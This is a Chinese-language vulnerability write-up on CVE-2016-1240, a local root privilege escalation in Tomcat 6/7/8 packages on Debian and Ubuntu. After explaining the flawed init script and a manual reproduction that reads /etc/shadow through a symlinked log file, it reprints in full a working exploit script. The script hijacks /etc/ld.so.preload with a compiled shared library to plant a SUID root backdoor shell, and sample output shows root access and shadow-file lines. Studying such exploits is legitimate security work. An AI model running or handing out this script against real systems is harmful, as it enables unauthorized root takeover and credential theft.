漏洞原理
在Debian系统中利用apt-get安装Tomcat时，程序会自动创建一个自动脚本，该脚本位于/etc/init.d/tomcat*,代码如下171 # Run the catalina.sh script as a daemon172 set +e 173 touch "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out174 chown $TOMCAT7_USER "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out175 start-stop-daemon --start -b -u "$TOMCAT7_USER" -g "$TOMCAT7_GROUP" \176 -c "$TOMCAT7_USER" -d "$CATALINA_TMPDIR" -p "$CATALINA_PID" \177 -x /bin/bash -- -c "$AUTHBIND_COMMAND $TOMCAT_SH"178 status="$?"179 set +a -e问题出在174行，Tomcat服务再启动时，会将log文件catalina.out的所有者改为Tomcat用户，而启动脚本通常由root用户调用。如果将catalina.out修改为指向任意文件的链接将会导致***者以高权限随意读取任意系统文件。
漏洞影响范围
Tomcat 8 <= 8.0.36-2Tomcat 7 <= 7.0.70-2Tomcat 6 <= 6.0.45受影响的系统包括Debian,Ubuntu,其他使用相应deb包的系统也可能受到影响。
漏洞复现
漏洞复现所用环境
系统版本:Ubuntu 16.04Tomcat版本:Tomcat7安装源:系统自带源
安装Tomcat
#sudo apt-get install tomcat7
安装完成后会自动创建tomcat7用户。
修改tomcat7用户权限，默认不允许登录的。
#sudo usermod -s /bin/bash -G sudo tomcat7#passwd tomcat7 #设置密码，不设置无法使用sudo提升权限#su tomcat7
切换用户，相当于模拟拿到shell后的情况，一个低权限用户。
开始利用漏洞
切换到catalina.out目录下
#cd /var/log/tomcat7/#ln -fs /etc/shadow /var/log/tomcat7/catalina.out #做一个链接将/etc/shadow 链接到catalina.out#head catalina.out
此时应该时禁止读取catalina.out的内容的。
重启Tomcat(比较扯淡的条件 ....)
#sudo service tomcat7 restart
重启后就可以读取catalina.out的内容了。
#head catalina.out
Poc(以下部分没有亲自测试)
#!/bin/bash## Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit## CVE-2016-1240## Discovered and coded by:## Dawid Golunski# http://legalhackers.com## This exploit targets Tomcat (versions 6, 7 and 8) packaging on # Debian-based distros including Debian, Ubuntu etc.# It allows attackers with a tomcat shell (e.g. obtained remotely through a # vulnerable java webapp, or locally via weak permissions on webapps in the # Tomcat webroot directories etc.) to escalate their privileges to root.## Usage:# ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred]## The exploit can used in two ways:## -active (assumed by default) - which waits for a Tomcat restart in a loop and instantly# gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted. # It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up# a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.)## -deferred (requires the -deferred switch on argv[2]) - this mode symlinks the logfile to # /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting. # Attackers can come back at a later time and check on the /etc/default/locale file. Upon a # Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can# then add arbitrary commands to the file which will be executed with root privileges by # the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default # Ubuntu/Debian Tomcat installations).## See full advisory for details at:# http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html## Disclaimer:# For testing purposes only. Do no harm.# BACKDOORSH="/bin/bash"BACKDOORPATH="/tmp/tomcatrootsh"PRIVESCLIB="/tmp/privesclib.so"PRIVESCSRC="/tmp/privesclib.c"SUIDBIN="/usr/bin/sudo" function cleanexit { # Cleanup echo -e "\n[+] Cleaning up..." rm -f $PRIVESCSRC rm -f $PRIVESCLIB rm -f $TOMCATLOG touch $TOMCATLOG if [ -f /etc/ld.so.preload ]; then echo -n > /etc/ld.so.preload 2>/dev/null fi echo -e "\n[+] Job done. Exiting with code $1 \n" exit $1} function ctrl_c() { echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation." cleanexit 0} #intro echo -e "\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit\nCVE-2016-1240\n"echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m" # Argsif [ $# -lt 1 ]; then echo -e "\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n" exit 3fiif [ "$2" = "-deferred" ]; then mode="deferred"else mode="active"fi # Priv checkecho -e "\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the following privileges: \n`id`"id | grep -q tomcatif [ $? -ne 0 ]; then echo -e "\n[!] You need to execute the exploit as tomcat user! Exiting.\n" exit 3fi # Set target pathsTOMCATLOG="$1"if [ ! -f $TOMCATLOG ]; then echo -e "\n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn't exist. Try again.\n" exit 3fiecho -e "\n[+] Target Tomcat log file set to $TOMCATLOG" # [ Deferred exploitation ] # Symlink the log file to /etc/default/locale file which gets executed daily on default# tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation cronjob around 6:25am.# Attackers can freely add their commands to the /etc/default/locale script after Tomcat has been# restarted and file owner gets changed.if [ "$mode" = "deferred" ]; then rm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOG if [ $? -ne 0 ]; then echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink." cleanexit 3 fi echo -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`" echo -e "\n[+] The current owner of the file is: \n`ls -l /etc/default/locale`" echo -ne "\n[+] Keep an eye on the owner change on /etc/default/locale . After the Tomcat restart / system reboot" echo -ne "\n you'll be able to add arbitrary commands to the file which will get executed with root privileges" echo -ne "\n at ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. See also -active mode if you can't wait ;) \n\n" exit 0fi # [ Active exploitation ] trap ctrl_c INT# Compile privesc preload libraryecho -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"cat <<_solibeof_>$PRIVESCSRC#define _GNU_SOURCE#include #include #include #include uid_t geteuid(void) { static uid_t (*old_geteuid)(); old_geteuid = dlsym(RTLD_NEXT, "geteuid"); if ( old_geteuid() == 0 ) { chown("$BACKDOORPATH", 0, 0); chmod("$BACKDOORPATH", 04777); unlink("/etc/ld.so.preload"); } return old_geteuid();}_solibeof_gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldlif [ $? -ne 0 ]; then echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC." cleanexit 2;fi # Prepare backdoor shellcp $BACKDOORSH $BACKDOORPATHecho -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`" # Safety checkif [ -f /etc/ld.so.preload ]; then echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety." cleanexit 2fi # Symlink the log file to ld.so.preloadrm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOGif [ $? -ne 0 ]; then echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink." cleanexit 3fiecho -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`" # Wait for Tomcat to re-open the logsecho -ne "\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart..."echo -e "\nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;) "while :; do sleep 0.1 if [ -f /etc/ld.so.preload ]; then echo $PRIVESCLIB > /etc/ld.so.preload break; fidone # /etc/ld.so.preload file should be owned by tomcat user at this point# Inject the privesc.so shared library to escalate privilegesecho $PRIVESCLIB > /etc/ld.so.preloadecho -e "\n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: \n`ls -l /etc/ld.so.preload`"echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`" # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"sudo --help 2>/dev/null >/dev/null # Check for the rootshellls -l $BACKDOORPATH | grep rws | grep -q rootif [ $? -eq 0 ]; then echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`" echo -e "\n\033[94mPlease tell me you're seeing this too ;) \033[0m"else echo -e "\n[!] Failed to get root" cleanexit 2fi # Execute the rootshellecho -e "\n[+] Executing the rootshell $BACKDOORPATH now! \n"$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"$BACKDOORPATH -p # Job done.cleanexit 0 Poc运行实例
tomcat7@ubuntu:/tmp$ iduid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)tomcat7@ubuntu:/tmp$ lsb_release -aNo LSB modules are available.Distributor ID: UbuntuDescription: Ubuntu 16.04 LTSRelease: 16.04Codename: xenialtomcat7@ubuntu:/tmp$ dpkg -l | grep tomcatii libtomcat7-java 7.0.68-1ubuntu0.1 all Servlet and JSP engine -- core librariesii tomcat7 7.0.68-1ubuntu0.1 all Servlet and JSP engineii tomcat7-common 7.0.68-1ubuntu0.1 all Servlet and JSP engine -- common filestomcat7@ubuntu:/tmp$ ./tomcat-rootprivesc-deb.sh /var/log/tomcat7/catalina.out Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation ExploitCVE-2016-1240Discovered and coded by: Dawid Golunski http://legalhackers.com[+] Starting the exploit in [active] mode with the following privileges: uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)[+] Target Tomcat log file set to /var/log/tomcat7/catalina.out[+] Compiling the privesc shared library (/tmp/privesclib.c)[+] Backdoor/low-priv shell installed at: -rwxr-xr-x 1 tomcat7 tomcat7 1037464 Sep 30 22:27 /tmp/tomcatrootsh[+] Symlink created at: lrwxrwxrwx 1 tomcat7 tomcat7 18 Sep 30 22:27 /var/log/tomcat7/catalina.out -> /etc/ld.so.preload[+] Waiting for Tomcat to re-open the logs/Tomcat service restart...You could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;) [+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: -rw-r--r-- 1 tomcat7 root 19 Sep 30 22:28 /etc/ld.so.preload[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload[+] The /etc/ld.so.preload file now contains: /tmp/privesclib.so[+] Escalating privileges via the /usr/bin/sudo SUID binary to get root![+] Rootshell got assigned root SUID perms at: -rwsrwxrwx 1 root root 1037464 Sep 30 22:27 /tmp/tomcatrootshPlease tell me you're seeing this too ;) [+] Executing the rootshell /tmp/tomcatrootsh now! tomcatrootsh-4.3# iduid=110(tomcat7) gid=118(tomcat7) euid=0(root) groups=118(tomcat7)tomcatrootsh-4.3# whoamiroottomcatrootsh-4.3# head -n3 /etc/shadowroot:$6$oaf[cut]:16912:0:99999:7:::daemon:*:16912:0:99999:7:::bin:*:16912:0:99999:7:::tomcatrootsh-4.3# exitexit